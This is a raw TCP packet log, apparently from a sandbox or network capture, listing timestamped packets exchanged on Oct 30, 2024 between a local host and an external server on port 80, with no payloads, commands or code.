Oct 30, 2024 15:44:46.033581018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.033590078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033606052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033621073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033626080 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.033638000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033652067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033653021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.033668041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033690929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033691883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.033726931 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034171104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034296989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034312963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034327984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034337997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034342051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034357071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034365892 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034372091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034393072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034396887 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034411907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034425974 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034427881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034442902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034459114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034461975 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034476042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034499884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034502029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034513950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034529924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034533978 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034544945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034560919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034563065 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034575939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034591913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034596920 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034607887 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034624100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034631968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.034638882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.034656048 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.041225910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.054740906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.054797888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.054831982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.054837942 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.054867029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.054872990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.054918051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.054968119 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.054971933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055001974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055035114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055053949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055068016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055111885 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055119038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055151939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055185080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055191994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055217981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055252075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055263042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055285931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055337906 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055340052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055378914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055428028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055435896 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055479050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055519104 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055527925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055562019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055610895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055614948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055644035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055680990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055685997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055715084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055748940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055759907 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055782080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055814028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055819988 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055846930 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055879116 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055883884 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055917025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055954933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.055954933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.055989027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056021929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056046963 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056055069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056087971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056103945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056123018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056154966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056164026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056190014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056222916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056231976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056257010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056289911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056298018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056323051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056368113 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056371927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056410074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056446075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056453943 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056479931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056514978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056535959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056550026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056582928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056596994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056617022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056651115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056664944 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.056685925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056715012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.056725025 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.057776928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.057828903 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.057883978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.057918072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.057951927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.057957888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.057985067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058021069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058034897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058072090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058113098 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058124065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058156967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058188915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058196068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058239937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058279037 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058290958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058324099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058357954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058362961 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058391094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058425903 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058428049 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058459044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058491945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058495998 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058525085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058558941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058563948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058592081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058625937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058633089 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058660030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058695078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058698893 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058727026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058759928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058767080 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.058794975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.058829069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.067930937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.067987919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.068036079 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.068037033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.068070889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.068106890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.068110943 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.068140030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.068173885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.068176031 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.083488941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.083522081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.083558083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.083564997 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.083600044 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.084419966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084450006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084497929 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.084501982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084553957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084587097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084599018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.084621906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084655046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084664106 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.084690094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084723949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.084734917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.089539051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089596987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.089679003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089711905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089745998 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089766026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.089797020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089842081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089843988 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.089874029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089907885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089914083 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.089940071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089972973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.089981079 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090006113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090040922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090053082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090074062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090109110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090114117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090141058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090174913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090207100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090214968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090240955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090251923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090610981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090642929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090662003 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090694904 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090737104 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090744019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090797901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090837955 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090846062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090878963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090914965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.090945959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.090964079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091012001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091023922 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091044903 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091084957 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091092110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091126919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091159105 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091169119 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091192961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091223955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091231108 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091258049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091290951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091309071 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091346979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091378927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091392040 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091413975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091445923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091471910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.091481924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091515064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.091521025 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.094635010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.094691038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.094695091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.094728947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.094763041 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.094765902 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.094798088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.094837904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.106189966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.106223106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.106272936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.106276035 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.106307983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.106339931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.106359959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.128071070 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.129417896 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148400068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148461103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148473024 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148495913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148538113 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148572922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148648977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148699045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148706913 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148732901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148781061 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148788929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148838997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148871899 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148880005 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148905039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148937941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.148947001 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.148971081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149019957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149044991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149055004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149089098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149096012 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149123907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149157047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149167061 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149189949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149240017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149241924 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149277925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149311066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149317026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149343967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149380922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149389982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149429083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149463892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149481058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149497986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149532080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149539948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149564981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149599075 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149604082 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149631023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149667978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149689913 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149701118 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149734020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149741888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149766922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149800062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149806023 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149832964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149867058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149874926 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149899960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149933100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.149959087 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.149966002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150000095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.150027037 CET	49995	80	192.168.2.6	147.45.47.81
